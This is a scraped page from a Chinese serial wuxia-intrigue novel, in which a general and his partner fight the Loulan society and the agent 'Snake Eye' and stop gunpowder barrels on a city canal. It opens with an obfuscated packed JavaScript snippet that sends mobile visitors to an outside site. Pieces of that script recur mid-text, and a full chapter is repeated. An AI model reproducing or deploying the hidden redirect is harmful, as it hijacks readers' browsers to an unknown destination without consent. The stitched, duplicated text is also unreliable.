;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15548042|171216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 楼兰会众人虽也有些武备,但仓促之间,如何是训练有素的暗羽对手。王承恩等几名官员更是手无缚鸡之力,吓得面无人色,抱头鼠窜。 江令舟与黎音袅身先士卒,直扑那沙哑声音的主人。 那人武功不弱,手中一柄软剑使得出神入化,但江令舟长剑如虹,黎音袅双匕似电,二人合击之下,他很快便左支右绌。 “你们是什么人?!”那人嘶声力竭。 江令舟:“拿你的人!” 激战中,一名楼兰会头目见势不妙,掷出一枚震天雷,轰然炸响,烟尘弥漫。 “保护大人!”几名死士拼死断后。 混乱中,数道黑影趁机向外突围。 江令舟一剑将那沙哑声音的头目刺伤手臂,正欲擒拿,却见一道极为迅捷的身影,利用烟雾掩护,翻墙而出,几个起落便消失在夜色中。 “蛇眼!”江令舟低喝一声,此人身法,绝非寻常。他想追,却被几名扑上来的喽啰缠住。 片刻之后,战斗平息。 院内横七竖八躺倒一片,大部分楼兰会成员或死或擒。王承恩、周显、何赞等官员,则被暗羽卫士们捆得结结实实,瘫坐在地,丑态毕露。 王承恩兀自不甘,叫嚷道:“你们好大胆子!可知我是谁?我乃朝廷命官!” 黎音袅走到他面前,声音平静:“王侍郎,你很快就不是了。” 周显面如死灰:“完了,全完了……” 那名**令舟刺伤的沙哑声音头目,此刻也被制服,他恶狠狠盯着江令舟:“你们得意不了多久!楼兰会的大计,无人能挡!” 江令舟不理会他的叫嚣,目光扫过全场。 黎音袅清点人数:“头目三人,核心成员十七人,皆已擒获。另有官员三名。” 江令舟懊恼:“蛇眼逃了。” 黎音袅说道:“还有几个身手不错的,也趁乱逃脱。” 一名暗羽卫士上前:“将军,在外围截住两人,但有三人往西山深处去了,我们的人没追上。” 江令舟走到那掌柜所说的“刀疤李”尸身旁,此人正是拼死掩护蛇眼逃脱的死士之一。 江令舟吩咐道:“清点现场,所有证物,一并带回。” 黎音袅上前一问:“这些官员,如何处置?” 江令舟说道:“押回去,严加看管。他们的罪证,今夜已经足够。” 他望向蛇眼逃离的方向,夜色深沉。 “他跑不远。” 江令舟点了点头:“嗯。” 第107章伤势渐好 夜风吹拂,将军府内一灯如豆。 江令舟坐在榻边,左臂衣袖挽起,一道寸许长的伤口。黎音袅端着铜盆和药布进来,盆中清水倒映着她眉头。墨影山庄的喧嚣与血腥,似乎还未从两人身上完全褪去。 她将药箱放在案几,取了干净的棉布浸湿,为他擦拭血迹,动作小心。血污之下,伤口边缘微微发黑,不似寻常利器所致。 江令舟他的声音带着一丝战斗后的疲惫:“小伤。” 黎音袅不语,手下动作愈发小心。她能感觉到他肌肉绷紧,那是他一贯的隐忍。 她换了块布,蘸了特制的【金疮药粉】,细细敷上。药粉冰凉,触及伤处,江令舟身体微不可察地颤了一下。 黎音袅担心的问道:“痛?” 江令舟摇了摇头:“不算。”他脑中闪过“蛇眼”兔起鹘落般的身影,那人翻墙而出时,腰间似乎别着一件形状奇特的兵器,只是当时烟雾弥漫,未曾看清。此人身法之快,反应之敏捷,绝非寻常江湖人。 黎音袅拿起干净的纱布,开始为他包扎。她的手指修长有力,此刻却带着一丝颤抖,触碰到他的皮肤。 黎音袅严厉地说道:“下次,不许再如此以身犯险。” 江令舟微微一笑:“战场之上,瞬息万变,岂能事事由心。擒贼先擒王,那沙哑声音的头目是关键。” 黎音袅有些生气:“关键?你的命,就不是关键?”她的声音不高,却带着压抑的怒气与后怕。“你忘了三年前南疆那次?若非华神医……” 江令舟打断她:“那次是意外。” 黎音袅有些生气:“意外?每次都是意外!你总有你的理由!” 江令舟上前安慰:“音袅,楼兰会一日不除,京畿便一日不得安宁。我等职责所在,退无可退。” 黎音袅还是在气头上:“职责?”她停下手中的动作,抬眼看他,眼眶泛红,“那你的安危,又由谁来负责?你有没有想过,如果你真的……” 江令舟看着她,灯光下,她眼底有水光。他伸出未受伤的右手,轻轻握住她的手,那手心一片冰凉。 江令舟温柔的说:“我应你,日后行事,会更加周全。我不会让你再担惊受怕。” 黎音袅转过身:“此话当真?”她的声音带着一丝哽咽。 江令舟摸了她的头发:“当真。” 黎音袅用力抽回手,深吸一口气,继续为他包扎,力道却重了几分。江令舟闷哼一声。 黎音袅笑了笑:“活该。”嘴上虽如此说,手上的力道却立刻轻了下来。 包扎完毕,她打了个整齐的结。 黎音袅重新严肃起来:“王承恩他们,如何处置?” 江令舟回答:“明日一早,我亲自提审。他们参与楼兰会之事,证据确凿,难逃国法。周显与何赞,也要一并深挖。” 黎音袅有些疑惑:“那沙哑声音的头目,据点被毁,他已知我们身份?” 江令舟解释道:“他只知我们是官府的人,具体是【暗羽】,他未必清楚。但‘蛇眼’逃脱,是个极大的隐患。此人对我们的行动了如指掌,甚至可能预判了我们的突袭,否则不会逃得那么快。” “伤口这几日莫要沾水,也别动用内力。我会让厨房每日炖【续骨汤】来。” “嗯。” 黎音袅她看着他沉思的侧脸:“你似乎还有许多心事。” 江令舟说:“我在想,‘蛇眼’为何偏偏往西山方向去。西山地势复杂,山峦叠嶂,易于躲藏不假,但若只是为了逃命,城东、城北皆有密林可遁,为何独选西山?” 黎音袅放好药箱:“你的意思是,西山有楼兰会的其他秘密据点,或者存放着更重要的东西?” 江令舟点了点头:“不排除这个可能。那沙哑声音的头目被擒前,曾叫嚣楼兰会的‘大计’无人能挡。这‘大计’,或许就与西山有关。” 黎音袅想了想说道:“我立刻增派【暗羽】精锐,封锁西山所有出入口,严密搜查。即便掘地三尺,也要把他给我揪出来!”她的语气带着狠厉。 江令舟上前一步:“不可操之过急。‘蛇眼’非同一般,狡猾如狐,贸然大举搜山,只会打草惊蛇,甚至可能中其圈套。此事,需从长计议,布下天罗地网。” 黎音袅有些激动:“那便任他逍遥法外?多拖一日,便多一分变数!” 江令舟安慰道:“自然不会。我会亲自布置诱饵。”他看着黎音袅,语气放缓,“今夜你也累了,奔波一夜,早些歇息。” 黎音袅收拾好药箱,走到门口,又停住脚步,背对着他。 “江令舟。”“嗯?” 黎音袅撒娇的口吻说:“你要是有个万一……我不会独活。”她的声音很轻,却字字清晰。 江令舟心中剧震,一股难以言喻的情绪涌上心头,有感动,有愧疚,更有沉甸甸的责任。他想说什么,却发现喉咙干涩。 他郑重承诺:“我不会有事。为了你,我也绝不会让自己有事。” 黎音袅没有回头,只是肩膀微微耸动了一下,随即道:“记住你今日的话。” 她推门出去,夜风将门轻轻带上。 江令舟独自坐在灯下,左臂的伤口传来一阵阵清晰的刺痛,提醒着他今夜的凶险。但心中,却因为黎音袅最后那句话,而翻涌着一股从未有过的暖意与力量。 他缓缓起身,走到窗边,推开窗户,冰凉的夜风灌入,让他清醒几分。 他拿起案上关于楼兰会的卷宗,一页页翻看,目光在“蛇眼”、“西山”、“大计”等字眼上久久停留。 他必须尽快恢复伤势,然后亲自去西山查探。有些事情,他不放心交给旁人。 夜,愈发深沉。将军府外,巡逻卫士的脚步声规律响起。 江令舟伤势渐好,与黎音袅在府中花园散步。 【续骨汤】功效显著,数日调养,他左臂已能活动自如。花园中花开繁盛,微风带来花香。二人牵手漫步,江令舟讲起年少在军中糗事,黎音袅笑声清脆。她亦说起江湖中遇到的奇人怪谈,他听得专注。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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江令舟看着她,她眼中是真实的不安与急切。他理解她的心情,但他不能因此乱了方寸。“音袅,相信我。我不会坐视不理。” 黎音袅别过脸:“我自然信你。可我更怕你为了这份‘万全’,让自己涉险。你答应过我,不会有事。” 他心中微震,上前一步,想将她揽入怀中,却又克制住。此刻不是儿女情长的时候,尽管这份情意是他力量的源泉。 “我记得。”他郑重道,“所以,每一步,我都会比以往更谨慎。” 正在此时,一名亲卫脚步匆匆,穿过月洞门,疾步来到二人面前,神色凝重。 “将军,长公主。”亲卫单膝跪地,双手呈上一物,“巡查花园外墙的兄弟,在西侧墙角下发现了这个。” 那是一枚用深色木头雕刻的小蛇,盘踞成环,蛇口中衔着一卷极细的纸条,用红线系着。雕工不算精致,却透着一股邪异。 江令舟瞳孔微缩。 黎音袅也看清了那东西,脸色瞬间苍白。是“蛇眼”的标记。他竟然,能将东西送到将军府的花园墙外。 江令舟接过木蛇,取下纸卷。他展开纸条,上面只有寥寥数行字,字迹潦草却带着一种刻意的挑衅。 第107章伤势渐好 夜风吹拂,将军府内一灯如豆。 江令舟坐在榻边,左臂衣袖挽起,一道寸许长的伤口。黎音袅端着铜盆和药布进来,盆中清水倒映着她眉头。墨影山庄的喧嚣与血腥,似乎还未从两人身上完全褪去。 她将药箱放在案几,取了干净的棉布浸湿,为他擦拭血迹,动作小心。血污之下,伤口边缘微微发黑,不似寻常利器所致。 江令舟他的声音带着一丝战斗后的疲惫:“小伤。” 黎音袅不语,手下动作愈发小心。她能感觉到他肌肉绷紧,那是他一贯的隐忍。 她换了块布,蘸了特制的【金疮药粉】,细细敷上。药粉冰凉,触及伤处,江令舟身体微不可察地颤了一下。 黎音袅担心的问道:“痛?” 江令舟摇了摇头:“不算。”他脑中闪过“蛇眼”兔起鹘落般的身影,那人翻墙而出时,腰间似乎别着一件形状奇特的兵器,只是当时烟雾弥漫,未曾看清。此人身法之快,反应之敏捷,绝非寻常江湖人。 黎音袅拿起干净的纱布,开始为他包扎。她的手指修长有力,此刻却带着一丝颤抖,触碰到他的皮肤。 黎音袅严厉地说道:“下次,不许再如此以身犯险。” 江令舟微微一笑:“战场之上,瞬息万变,岂能事事由心。擒贼先擒王,那沙哑声音的头目是关键。” 黎音袅有些生气:“关键?你的命,就不是关键?”她的声音不高,却带着压抑的怒气与后怕。“你忘了三年前南疆那次?若非华神医……” 江令舟打断她:“那次是意外。” 黎音袅有些生气:“意外?每次都是意外!你总有你的理由!” 江令舟上前安慰:“音袅,楼兰会一日不除,京畿便一日不得安宁。我等职责所在,退无可退。” 黎音袅还是在气头上:“职责?”她停下手中的动作,抬眼看他,眼眶泛红,“那你的安危,又由谁来负责?你有没有想过,如果你真的……” 江令舟看着她,灯光下,她眼底有水光。他伸出未受伤的右手,轻轻握住她的手,那手心一片冰凉。 江令舟温柔的说:“我应你,日后行事,会更加周全。我不会让你再担惊受怕。” 黎音袅转过身:“此话当真?”她的声音带着一丝哽咽。 江令舟摸了她的头发:“当真。” 黎音袅用力抽回手,深吸一口气,继续为他包扎,力道却重了几分。江令舟闷哼一声。 黎音袅笑了笑:“活该。”嘴上虽如此说,手上的力道却立刻轻了下来。 包扎完毕,她打了个整齐的结。 黎音袅重新严肃起来:“王承恩他们,如何处置?” 江令舟回答:“明日一早,我亲自提审。他们参与楼兰会之事,证据确凿,难逃国法。周显与何赞,也要一并深挖。” 黎音袅有些疑惑:“那沙哑声音的头目,据点被毁,他已知我们身份?” 江令舟解释道:“他只知我们是官府的人,具体是【暗羽】,他未必清楚。但‘蛇眼’逃脱,是个极大的隐患。此人对我们的行动了如指掌,甚至可能预判了我们的突袭,否则不会逃得那么快。” “伤口这几日莫要沾水,也别动用内力。我会让厨房每日炖【续骨汤】来。” “嗯。” 黎音袅她看着他沉思的侧脸:“你似乎还有许多心事。” 江令舟说:“我在想,‘蛇眼’为何偏偏往西山方向去。西山地势复杂,山峦叠嶂,易于躲藏不假,但若只是为了逃命,城东、城北皆有密林可遁,为何独选西山?” 黎音袅放好药箱:“你的意思是,西山有楼兰会的其他秘密据点,或者存放着更重要的东西?” 江令舟点了点头:“不排除这个可能。那沙哑声音的头目被擒前,曾叫嚣楼兰会的‘大计’无人能挡。这‘大计’,或许就与西山有关。” 黎音袅想了想说道:“我立刻增派【暗羽】精锐,封锁西山所有出入口,严密搜查。即便掘地三尺,也要把他给我揪出来!”她的语气带着狠厉。 江令舟上前一步:“不可操之过急。‘蛇眼’非同一般,狡猾如狐,贸然大举搜山,只会打草惊蛇,甚至可能中其圈套。此事,需从长计议,布下天罗地网。” 黎音袅有些激动:“那便任他逍遥法外?多拖一日,便多一分变数!” 江令舟安慰道:“自然不会。我会亲自布置诱饵。”他看着黎音袅,语气放缓,“今夜你也累了,奔波一夜,早些歇息。” 黎音袅收拾好药箱,走到门口,又停住脚步,背对着他。 “江令舟。”“嗯?” 黎音袅撒娇的口吻说:“你要是有个万一……我不会独活。”她的声音很轻,却字字清晰。 江令舟心中剧震,一股难以言喻的情绪涌上心头,有感动,有愧疚,更有沉甸甸的责任。他想说什么,却发现喉咙干涩。 他郑重承诺:“我不会有事。为了你,我也绝不会让自己有事。” 黎音袅没有回头,只是肩膀微微耸动了一下,随即道:“记住你今日的话。” 她推门出去,夜风将门轻轻带上。 江令舟独自坐在灯下,左臂的伤口传来一阵阵清晰的刺痛,提醒着他今夜的凶险。但心中,却因为黎音袅最后那句话,而翻涌着一股从未有过的暖意与力量。 他缓缓起身,走到窗边,推开窗户,冰凉的夜风灌入,让他清醒几分。 他拿起案上关于楼兰会的卷宗,一页页翻看,目光在“蛇眼”、“西山”、“大计”等字眼上久久停留。 他必须尽快恢复伤势,然后亲自去西山查探。有些事情,他不放心交给旁人。 夜,愈发深沉。将军府外,巡逻卫士的脚步声规律响起。 江令舟伤势渐好,与黎音袅在府中花园散步。 【续骨汤】功效显著,数日调养,他左臂已能活动自如。花园中花开繁盛,微风带来花香。二人牵手漫步,江令舟讲起年少在军中糗事,黎音袅笑声清脆。她亦说起江湖中遇到的奇人怪谈,他听得专注。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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黎音袅别过脸:“我自然信你。可我更怕你为了这份‘万全’,让自己涉险。你答应过我,不会有事。” 他心中微震,上前一步,想将她揽入怀中,却又克制住。此刻不是儿女情长的时候,尽管这份情意是他力量的源泉。 “我记得。”他郑重道,“所以,每一步,我都会比以往更谨慎。” 正在此时,一名亲卫脚步匆匆,穿过月洞门,疾步来到二人面前,神色凝重。 “将军,长公主。”亲卫单膝跪地,双手呈上一物,“巡查花园外墙的兄弟,在西侧墙角下发现了这个。” 那是一枚用深色木头雕刻的小蛇,盘踞成环,蛇口中衔着一卷极细的纸条,用红线系着。雕工不算精致,却透着一股邪异。 江令舟瞳孔微缩。 黎音袅也看清了那东西,脸色瞬间苍白。是“蛇眼”的标记。他竟然,能将东西送到将军府的花园墙外。 江令舟接过木蛇,取下纸卷。他展开纸条,上面只有寥寥数行字,字迹潦草却带着一种刻意的挑衅。 第108章出了事,我担着 他看完,面无表情,唯有手指收紧,那薄薄的纸张在他掌心被捏得变形。 黎音袅心悬了起来:“写的什么?” 江令舟没有立刻回答,他将纸条递给黎音袅。 黎音袅颤抖着手接过,上面的字映入眼帘:【将军府景致宜人,蔷薇尤其娇艳。令夫人簪花之姿,更胜三分。西山风起,静候将军。勿让佳人久等。——蛇眼】 一股寒意从黎音袅的脚底直冲头顶。这不是简单的挑衅,这是赤裸裸的威胁,是“蛇眼”在宣告,他不仅知道江令舟的动向,甚至连她在花园中的细微举动,都可能落入了他的监视。 “他……他怎么敢!”黎音袅声音发颤,怒火与恐惧交织。她不怕死,但这种被人窥伺、至亲之人受到威胁的感觉,让她几乎失控。 江令舟将那木雕小蛇猛地掷在地上,木蛇摔在青石板上,发出一声闷响,断成两截。 他看向黎音袅,她的不安与怒火清晰可见。他原以为自己布下的网足够隐秘,却不想对方竟如此猖狂,反将一军,直接将威胁送到了他的家门口,送到了她的眼前。 “他想激怒我,让我失去判断,自乱阵脚,然后引我入西山的陷阱。”江令舟开口,声音冷冽,不带一丝温度。他迅速冷静下来,分析着对方的用意。 黎音袅紧紧抓住他的手臂:“那我们怎么办?他既然能到这里,府内……” “府内守卫我会加倍。”江令舟打断她,“他这是在示威,也是在催促。” 他心中怒意翻涌,但更多的是一种沉重的压迫感。“蛇眼”的手段比他预想的更加阴险和直接。这封信,不仅是挑衅,更是对他人性弱点的精准攻击。 “他提及西山,提及你。”江令舟看着黎音袅,一字一句,“他算准了,我绝不会让你身处险境。” 黎音袅反而镇定了一些,她迎上他的视线:“所以,他成功了。你现在,是不是就要立刻去西山?”她的语气中带着一丝绝望的肯定。 江令舟没有否认。这封信,让他之前所有的“从长计议”都显得苍白。对方已经把战书直接拍在了他的脸上。 “他要战,那便战。”江令舟说。 他转身,看向西山的方向,那里此刻在他眼中,已不再是需要耐心布置的猎场,而是一个必须立刻踏足的战场。 “传令下去,”江令舟对那名尚未起身的亲卫道,“【暗羽】所有在京精锐,即刻整装待命。” 亲卫领命,迅速退下。 黎音袅站在他身侧,看着他紧绷的侧脸。 江令舟没有再多言,只是捡起地上断裂的木蛇。 夜色沉寂。 一枚蜡丸,无声无息,落在黎音袅的书案。她拆开,借着烛火看清字迹。是“楼兰会”的警告,一场针对京城的灾祸正在酝酿。她手心沁出冷汗。 “令舟。”她唤他,声音里有压不住的颤抖。 江令舟从卷宗中抬头。她将纸条递过去。 他接过,看完,眉峰蹙起。楼兰会,阴魂不散。 “他们想做什么?”黎音袅问。 “动摇京城根本。”江令舟放下纸条,“来源可靠?” “【蜂刺】传来的消息,以命相搏换来的。”黎音袅答,每一个字都带着重量。她补充,“他们说,规模空前。” 江令舟沉默片刻。蛇眼的威胁尚在耳边,楼兰会的阴谋又接踵而至。京城,已成危局。 “你怕吗?”他问,看着她的眼睛。 “我怕的不是死。”黎音袅迎上他的视线,“我怕无能为力,怕护不住这满城百姓,怕……”她没有说下去。 江令舟伸手,覆上她的手背:“音袅,有我在。我们一起。” 他没有说“别怕”,那两个字在此刻显得轻飘。 “召集人手。”江令舟起身,“京城戒备,提升至最高。所有暗桩,全部启动。我要知道楼兰会的老鼠,藏在哪里,想做什么。” 黎音袅回答说:“【蜂刺】说,他们可能利用城中水道。” “水道?”江令舟思索,“传工部舆图来。” 他走到巨大的堪舆图前,那是整个京城的缩影,每一条街道,每一处坊市,都清晰标注。 “若动水道,目标必然是人口密集之处,或是……”江令舟的手指点在图上几处,“皇城,各大部衙,粮仓。” 黎音袅点了点头:“他们要制造恐慌,引发大乱。” “不止。”江令舟语气沉重,“他们要的是一场屠戮,用鲜血宣告他们的存在。” 外面传来急促的脚步声。一名亲卫进来:“将军,宫中传召,圣上请您即刻入宫议事。” 江令舟应声:“知道了。”他转向黎音袅,“府内之事,你暂代我处置。任何异动,不必请示,自行决断。” “你……”黎音袅欲言又止。宫中此时传召,必与此事有关。 “放心。”江令舟只说了两个字,拿起佩剑,大步离去。 黎音袅看着他的背影消失在门外。她走到堪舆图前,视线在水道的蓝色线条上游走。工部舆图很快送来,更加详尽。她铺在桌上,细细查看。 时间一点点过去。烛火跳动,映着她专注的脸。 她尝试从楼兰会过往的行事风格推断。残忍,不择手段,喜好制造大规模的恐慌。 “水道……”她喃喃自语。如果目标是屠戮和恐慌,什么地方最合适? 一个念头闪过。她猛地抬头,看向舆图上的一点。 【永济渠】,穿城而过,连接数个坊市,下游不远处便是京城最大的粮仓之一。若在此处投毒,或是引爆……后果不堪设想。 “来人!”黎音袅扬声。 一名女卫应声而入:“夫人。” “备马,我要去永济渠。” “夫人,将军吩咐……” “情况紧急。”黎音袅打断她,“调集府内所有可用之人,封锁永济渠沿岸,特别是下游粮仓附近。仔细排查,任何可疑之人,立刻拿下。” 女卫有些犹豫:“可将军他……” “他的命令是护京城周全。”黎音袅道,“现在,这是最快的方法。出了事,我担着。” 她没有时间等江令舟回来。她必须行动。 夜风吹起她的发丝。她翻身上马。 第109章木桶 夜色沉凝,马蹄踏过青石板,最终停在永济渠畔的泥土路上。 黎音袅翻身下马,动作没有丝毫拖泥带水。 “散开。”她下令,声音不高,却传到每个人耳中,“沿岸搜查,任何异样,即刻来报。” 亲卫队迅速分成数队,如水银泻地般渗入黑暗。 永济渠的水静静流淌,映着疏淡的星光。这份静,在此刻却透着一股说不出的诡异。 黎音袅沿着河岸行走,腰间的剑柄冰凉。她想起江令舟入宫前的眼神,那里面有托付,有信任。 “我怕无能为力……”她的话犹在耳边。现在,她就在这里,用行动对抗那份无力感。 “夫人!”一名队正快步奔回,压低声音,“前方河道中,似乎有东西。” 黎音袅心头一紧,快步跟上。 数人伏在岸边草丛中,指向河中。月色下,几个模糊的黑影顺着水流缓缓向下游漂去。它们半浮半沉,看不真切。 “是什么?”黎音袅问。 “看不清,但不是寻常漂浮物。”队正回答,“像是……木桶。” 木桶。 黎音袅脑中警铃大作。她想到了【蜂刺】的情报,想到了江令舟的推断。 “打捞上来,小心。” 几名水性好的士兵解下外袍,悄无声息地滑入水中,向那些黑影游去。 等待的时间格外漫长。 终于,一名士兵推着一个木桶靠岸。桶身是深色的,湿漉漉的,上面似乎还用油布封了口。 黎音袅走近,示意士兵撬开。 一名士兵用随身短刃,小心翼翼地划开油布,再撬开木板。 一股刺鼻的气味散发出来。 桶内,是满满的黑色粉末。 【火药】。 黎音袅瞳孔骤缩。 “下游是哪里?”她问,声音因紧绷而显得有些沙哑。 “回夫人,再往下游约三里,是广济仓,京城最大的粮仓之一。”队正答。 若这些火药在粮仓附近引爆…… “还有多少?” “水下至少还有五、六个,都在往下游漂。”另一名刚上岸的士兵回报。 “立刻全部捞上来!动作快!”黎音袅下令。她转向身边的女卫,“传令下去,封锁永济渠沿岸,特别是广济仓一带,任何人不得靠近!” 就在此时,异变陡生。 “咻!咻咻!” 数道破空声从对岸的暗影中袭来,直指岸边的士兵和那些刚刚捞起的木桶。 “敌袭!”黎音袅厉喝,拔剑出鞘,“保护木桶!” 话音未落,十数名黑衣人如鬼魅般从黑暗中窜出,手持雪亮兵刃,悍不畏死地扑了过来。他们的目标明确,正是那些装满火药的木桶,以及正在打捞的士兵。 “结阵!”黎音袅指挥着亲卫队迎敌。 剑光交错,金铁交鸣声瞬间划破了永济渠的宁静。 这些黑衣人武功不弱,招式狠辣,显然是训练有素的死士。他们不恋战,一心只想冲向木桶,或者将岸上的人逼入水中。 黎音袅手腕翻飞,长剑如龙,格挡开一名黑衣人的劈砍。她能感觉到对方剑上传来的力道,以及那股不顾一切的疯狂。 “楼兰会……”她心中默念。这些人,果然是冲着制造大规模混乱和屠戮来的。 一名黑衣人绕过防线,直扑一个刚被拖上岸的火药桶,手中短刀就要刺入。 “休想!”黎音袅娇叱一声,足尖一点,身形疾掠而过,剑锋斜撩,逼退那名黑衣人。 她身后的女卫也与数名敌人缠斗在一起。 “夫人小心!”一名亲卫大喊。 三名黑衣人成品字形攻向黎音袅,刀光连成一片,封死了她所有退路。 黎音袅不退反进,剑招陡然变得凌厉。她清楚,此刻退缩,只会让敌人更加嚣张。她必须守住这里,守住这些致命的【火药桶】。 一名黑衣人被她剑锋扫中手臂,闷哼一声,攻势却更加疯狂。 “他们要点燃火药!”一名士兵惊呼,他看到一名黑衣人手中似乎有火折子。 黎音袅心中一凛。若是在这里引爆,即便威力不如预期,混乱也足以让更多火药桶顺流而下,到达更危险的地方。 她不能让这种事情发生。 “拦住他们!” 战斗愈发激烈。黎音袅的亲卫虽然精锐,但对方人数不少,且个个悍勇。 一名黑衣人突破一名亲卫的防守,嘶吼着冲向最近的一个木桶,手中似乎握着什么引火之物。 黎音袅距离稍远,救援不及。 “阿三!”她喊出那名亲卫的名字。 那名叫阿三的亲卫目眦欲裂,回身想要阻拦,却被另一名黑衣人缠住。 千钧一发之际,黎音袅身旁的女卫【青穗】猛地掷出手中的短鞭,鞭梢精准地缠住那名黑衣人的脚踝,用力一拉。 黑衣人猝不及防,身体失衡,手中的引火物脱手飞出。 黎音袅眼神一凝,顾不得多想,飞身扑向那点火星。 她用剑鞘将那火星打落在地,脚尖狠狠碾过。 就在她直起身子的瞬间,一道寒光从她右侧后方袭来。 是另一名潜藏的黑衣人,时机抓得极为刁钻。 【青穗】惊呼:“夫人!” 黎音袅本能地侧身,挥剑格挡。 “铛!” 火星四溅。她挡住了致命一击,但右臂传来一阵刺痛,一股温热的液体迅速渗出衣料。 她受伤了。 黑衣人一击不中,还想再攻。 黎音袅忍住痛楚,左手在剑柄上一按,剑身在她掌中灵巧一转,反手一剑刺出。 那名黑衣人胸口中剑,难以置信地看着她,缓缓倒下。 “夫人,您受伤了!”【青穗】急忙过来扶她。 “无妨。”黎音袅推开她的手,目光扫过战场,“解决他们。” 她的受伤似乎刺激了亲卫们,他们攻势更猛,配合也更加默契。 黑衣人见势不妙,再也无法靠近那些火药桶,开始出现溃败的迹象。 “想走?”黎音袅冷哼一声,提剑再度加入战团。 片刻之后,战斗平息。 地上躺着七八具黑衣人的尸体,余下的见事不可为,迅速遁入黑暗,消失不见。 黎音袅的亲卫也有数人受伤,好在都无性命之忧。 【青穗】快步走到黎音袅身边,撕下自己的衣袖,想要为她包扎右臂上的伤口。那道伤口不深,但颇长,鲜血仍在不断渗出。 “先处理那些木桶。”黎音袅看着河面上依旧漂浮的黑影,以及岸边堆放的几个,“一个都不能少,全部检查一遍,确保安全。” 她看向广济仓的方向,夜色深沉。 “派人去下游粮仓,严密布防。今夜,谁也别想睡。” 【青穗】动作利落地替她简单处理了伤口。 黎音袅按住手臂,血腥味弥漫在空气中。 “他们失败了一次,未必不会有第二次。”她对【青穗】说,也是对自己说,“楼兰会的目标,绝不止于此。” 永济渠的水,依旧在流。 第110章黑火药 河道恢复了片刻的宁静,只余水流声。 黎音袅站在岸边,血腥气尚未散尽。士兵们正将那些木桶一一从水中捞起,动作带着后怕的小心。青穗在她身侧,声音压抑:“夫人,都打捞上来了,一共十二只。” “打开一只看看。”黎音袅命令,目光未离水面。 一名亲卫上前,用刀撬开一个木桶的盖子。一股刺鼻的气味散出。 “是火药。”那亲卫回头,脸色苍白,“满满一桶,都是【黑火药】。” 黎音袅垂眸。十二桶。若非及时,这永济渠,这附近的坊市,下游的广济仓,此刻会是什么景象。京城的水路大动脉一旦被毁,漕运断绝,粮食物资无法入京,恐慌与混乱会瞬间吞噬这座城池。她不敢深想。 “楼兰会。”她开口,声音因右臂的伤有些发紧。 “他们竟如此丧心病狂。”青穗愤然。 “他们的目标从来不小。”黎音袅说。她看着那些士兵将木桶搬运至临时寻来的板车上,准备押送至安全地点统一处理。“清点人数,救治伤员。此地加派三倍人手,沿河道上下游严密巡查,任何可疑船只、人员,格杀勿论。” “是。” “另外,”黎音袅顿了一下,“派人去江府,告知江令舟,京中事已平,让他……安心。” 她说到“安心”二字时,自己都觉得有些无力。今夜之后,谁能真正安心? 青穗领命,正要转身,一名负责检查木桶的士兵快步跑来:“夫人,这些木桶底部,似乎有特殊的【标记】。” 黎音袅走过去。士兵将一个木桶倾斜,露出底部。那里烙印着一个图案,并非楼兰会常用的弯月或是火焰图腾,而是一条蜷曲盘绕的【蛇】。蛇身鳞甲细密,蛇首高昂,透着一股阴冷。 “这是什么?”青穗也凑近,面露不解。 黎音袅凝视那【盘蛇标记】。她搜寻记忆,从未见过京中或周边任何势力使用此类徽记。“拓下来。立刻送去大理寺,让他们查这个标记的来源。” “属下遵命。” 黎音袅按住渗血的右臂。伤口在叫嚣,但更让她心神不宁的是这个新出现的【盘蛇标记】。楼兰会背后,还有其他人?或者,这本就是楼兰会更隐秘的一面? 她对青穗说:“我们回府。” 马车行驶在寂静的街道上,车轮碾过青石板,发出单调的声响。黎音袅靠在车壁上,闭着眼,疲惫如同潮水般涌来。右臂的伤口经过简单包扎,此刻依旧阵阵刺痛,提醒着她方才的凶险。 青穗坐在对面,几次欲言又止。 “夫人,您的伤……” “不碍事。”黎音袅睁开眼,打断她的话。她不想听那些担忧。她需要保持清醒。 马车在将军府门前停下。府中灯火通明,显然是接到了消息,一直未敢松懈。 黎音袅没有先回自己的院子处理伤口,径直走向江令舟的住处。她需要亲眼确认他安好。 推开江令舟书房的门,他果然未睡,正坐在灯下看一卷书册,眉头微锁。听到动静,他抬起头。 “你回来了。”江令舟开口,声音平静。 他起身,目光落在她身上,从她略显凌乱的发髻,到她染血的衣袖,最后停在她被布条随意缠裹的右臂。 “你的手臂。”他的声音变了。 “小伤。”黎音袅说,试图走近。 江令舟却先一步到了她面前,伸手想碰她的伤处,动作带着一丝不易察觉的颤抖。“小伤?”他重复,声音陡然拔高,“黎音袅,你管这个叫小伤?” 他身上那股平日里温润的书卷气消失了,取而代之的是一种压抑的怒气。 “永济渠?”他问,语气肯定。 “嗯。火药。”黎音袅简单回答,“已经处理了。” “处理了?”江令舟盯着她,眼底有血丝,“你用你的命去处理?若是那些火药炸了,你怎么办?你想过没有?” “我是武将,守土护民是我的职责。”黎音袅皱眉。她不明白他为何如此激动。她这不是好好的回来了吗? “职责?”江令舟似乎被这两个字刺痛,“你的职责就是让自己一次次置身险境?就是让自己带着一身伤回来?黎音袅,你告诉我,这是谁给你的职责?” 他的质问一句接一句,像冰雹一样砸下来。 黎音袅有些不适:“江令舟,你冷静一点。” “我冷静不了!”江令舟的声音更大,“我在这里等消息,等来的就是你又受伤了!你知不知道我……”他停住,似乎在极力克制什么。 